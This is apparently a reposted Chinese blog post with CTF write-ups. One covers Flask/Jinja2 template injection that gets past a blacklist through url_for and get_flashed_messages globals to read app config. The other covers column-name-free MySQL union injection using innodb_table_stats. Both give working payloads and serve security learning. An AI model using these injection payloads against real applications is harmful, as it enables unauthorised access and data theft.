博客
关于我
2021-02-08
阅读量:297 次
发布时间:2019-03-01

本文共 4348 字,大约阅读时间需要 14 分钟。

[WesternCTF2018]shrine

介绍

模板其实就是对于传入的数据进行解析,然后生成html文件,然后在返回给浏览器进行展示,而这其中就用到了模板渲染和模板引擎

模板注入的根本原因就在于客户端向服务器传输的参数被解析,由于模板中有较多函数,所以,很多情况下模板注入可以导致远程代码执行,模板注入大概分为这几种:客户端模板注入、服务端模板注入、模板引擎注入。在本题中就是flask/jinja模板注入

考点:

  • Flask模版注入
  • url_for()和get_flashed_messages()函数绕过黑名单
  • globals、__dict__等变量含义

启动环境:

题目源码:

import flaskimport os# app是Flask的实例,它接收 包 或者 模块 的名字作为参数,但一般都是传递__name__# __name__ --- 是本 文本文件的名字app = flask.Flask(__name__)# 自定义配置app.config['FLAG'] = os.environ.pop('FLAG')# __file__ --- 表示显示文件当前的位置@app.route('/')def index():    return open(__file__).read()@app.route('/shrine/
')def shrine(shrine): # 用来过滤的函数 def safe_jinja(s): # 替换掉所有的圆括号 s = s.replace('(', '').replace(')', '') # 一个黑名单 blacklist = ['config', 'self'] # 返回 { {set config=None}} { {set self=None}} 用户输入 # 过滤了 config 和 self return ''.join(['{ {% set {}=None%}}'.format(c) for c in blacklist]) + s # 进行渲染 return flask.render_template_string(safe_jinja(shrine))if __name__ == '__main__': app.run(debug=True)

我们再来分析一下这段代码

首先代码中定义了两个类

@app.route('/')def index():    return open(__file__).read()

这个类的作用很简单,当访问/路径时就用来阅读文件内容

@app.route('/shrine/
')def shrine(shrine): def safe_jinja(s): s = s.replace('(', '').replace(')', '') blacklist = ['config', 'self'] return ''.join(['{ {% set {}=None%}}'.format(c) for c in blacklist]) + s return flask.render_template_string(safe_jinja(shrine))

这个类通过flask模板返回一个值,这个值是经过处理的

执行这段代码的时候,会传入一个值给参数s,然后参数s进行替换,会将传进去的‘(’ 和 ‘)替换成’ ’ ,然后下面blacklist是黑名单,也就是说过滤了config,self关键字,如果没有过滤可以直接{
{config}}即可查看所有app.config内容,但是这里不行

return ''.join(['{  {% set {}=None%}}'.format(c) for c in blacklist]) + s

这段代码把黑名单的东西遍历并设为空

我们知道,在safe_jinja()方法中:

  • 首先replace()会将()替换为空
  • 其中黑名单处理会将config和self替换为None

若不存在黑名单,可以使用{

{self.__dict__}}读取

关键点:

  • /shrine/<path:shrine> 路径存在ssti,但是进行了过滤
  • 过滤了 () ---- 括号,那就无法使用os模块执行命令,<type ‘file’>也无法使用。感觉通过命令执行来看flag这条路被堵死了
  • config 和 self 无法使用。如果这道题没有过滤config 和 self 的话,可以执行:{
    {config.FLAG}}
    {
    {self.__dict__}}
    读取内容

这里还有个知识点就是python的一些内置函数,url_for和get_flashed_messages,通过这些python的内置函数,我们可以读取config的一些信息

  • url_for() ---- 一般我们通过一个url即可执行到一个函数,如果知道一个函数,如何去获得url呢?url_for函数可以实现这个功能。url_for() 接收两个及两个以上的参数,以函数名作为第一个参数,后面的参数是url的命名规则
  • get_flashed_messages() ---- 返回之前在Flask中通过 flash() 传入的闪现信息列表在渲染模板时,不需要手动分配
  • 可以直接在 模板 中使用的 模板变量 及 函数:config、request、url_for()、get_flashed_messages()

使用 url_for() 和 get_flashed_messages() 函数绕过过滤

利用url_for函数查看全局变量字典

/shrine/{  {url_for.__globals__}}

在这里插入图片描述

发现Flask:‘current_app’: <Flask ‘app’>
发现了current_app,为什么重点关注这个呢?因为这个web是用了模板引擎的,那么我们就能想到很多模板具有注入,有客户端模板注入,服务端模板注入,模板引擎注入,所以这里我们要重点关注一下这个current_app,
(current_app意思应该是当前app)
这个里边的信息肯定有猫腻,所以接下来我们查看这个里面的config

payload 如下:

/shrine/{
{url_for.__globals__['current_app'].config}}
在这里插入图片描述
得到flag

二:

get_flashed_messages方法

返回之前在Flask中通过 flash() 传入的闪现信息列表。把字符串对象表示的消息加入到一个消息队列中,然后通过调用 get_flashed_messages() 方法取出(闪现信息只能取出一次,取出后闪现信息会被清空)。
同理;
/shrine/{
{get_flashed_messages.__globals__['current_app'].config}}

得到flag

[SWPU2019]Web1

无列名注入

概念

在我们进行sql注入的时候,有时候information_schema这个库可能会因为过滤而无法调用,这时我们就不能通过这个库来查出表名和列名。不过我们可以通过两种方法来查出表名:

  • InnoDb引擎
    从MYSQL5.5.8开始,InnoDB成为其默认存储引擎。而在MYSQL5.6以上的版本中,inndb增加了innodb_index_stats和innodb_table_stats两张表,这两张表中都存储了数据库和其数据表的信息,但是没有存储列名。
  • sys数据库
    在5.7以上的MYSQL中,新增了sys数据库,该库的基础数据来自information_schema和performance_chema,其本身不存储数据。可以通过其中的schema_auto_increment_columns来获取表名。

但是上述两种方法都只能查出表名,无法查到列名,这时我们就要用到无列名注入了。无列名注入,顾名思义,就是不需要列名就能注出数据的注入。

启动

在这里插入图片描述
一个登录页面,先去试着注册一个账号
老样子试图注册admin,发现用户已存在在这里插入图片描述那先随便注册个123 进去
在这里插入图片描述
然后申请一下发布广告在这里插入图片描述

发现实现了一个留言板的功能,考虑一下有没有存在注入的可能。

申请一个1’发现存在着回显在这里插入图片描述
查看详情报错,说明存在注入。fuzz一下发现过滤了空格,or,and,#。那么就直接通过联合查询确定字段数。
在这里插入图片描述
在这里插入图片描述
确定字段数为22,可显字段是2和3,查一下数据库版本和user。
在这里插入图片描述
接着查表名的时候发现or被过滤,且无法通过大小写和双写绕过,那么information_schema因为含有or,所以也没法使用。这里有两种方法可以绕过

这里我们使用innodb绕过。

payload:
-1'union/**/select/**/1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()&&'1'='1
在这里插入图片描述
查到有ads和users两张表
因为上述两种方法都没法注出列名,所以接下来用无列名注入。
构造一下payload:
-1'/**/union/**/select/**/1,(select/**/group_concat(2)/**/from/**/(select/**/1,2,3/**/union/**/select*from/**/users)n),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&'1'='1
查到了一列内容在这里插入图片描述再查另一列
-1'/**/union/**/select/**/1,(select/**/group_concat(3)/**/from/**/(select/**/1,2,3/**/union/**/select*from/**/users)n),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&'1'='1
得到flag
在这里插入图片描述

转载地址:http://kelx.baihongyu.com/

你可能感兴趣的文章
mysqldump备份时忽略某些表
查看>>
mysqldump实现数据备份及灾难恢复
查看>>
mysqldump数据库备份无法进行操作只能查询 --single-transaction
查看>>
mysqldump的一些用法
查看>>
mysqli
查看>>
MySQLIntegrityConstraintViolationException异常处理
查看>>
mysqlreport分析工具详解
查看>>
MySQLSyntaxErrorException: Unknown error 1146和SQLSyntaxErrorException: Unknown error 1146
查看>>
Mysql_Postgresql中_geometry数据操作_st_astext_GeomFromEWKT函数_在java中转换geometry的16进制数据---PostgreSQL工作笔记007
查看>>
mysql_real_connect 参数注意
查看>>
mysql_secure_installation初始化数据库报Access denied
查看>>
MySQL_西安11月销售昨日未上架的产品_20161212
查看>>
Mysql——深入浅出InnoDB底层原理
查看>>
MySQL“被动”性能优化汇总
查看>>
MySQL、HBase 和 Elasticsearch:特点与区别详解
查看>>
MySQL、Redis高频面试题汇总
查看>>
MYSQL、SQL Server、Oracle数据库排序空值null问题及其解决办法
查看>>
mysql一个字段为空时使用另一个字段排序
查看>>
MySQL一个表A中多个字段关联了表B的ID,如何关联查询?
查看>>
MYSQL一直显示正在启动
查看>>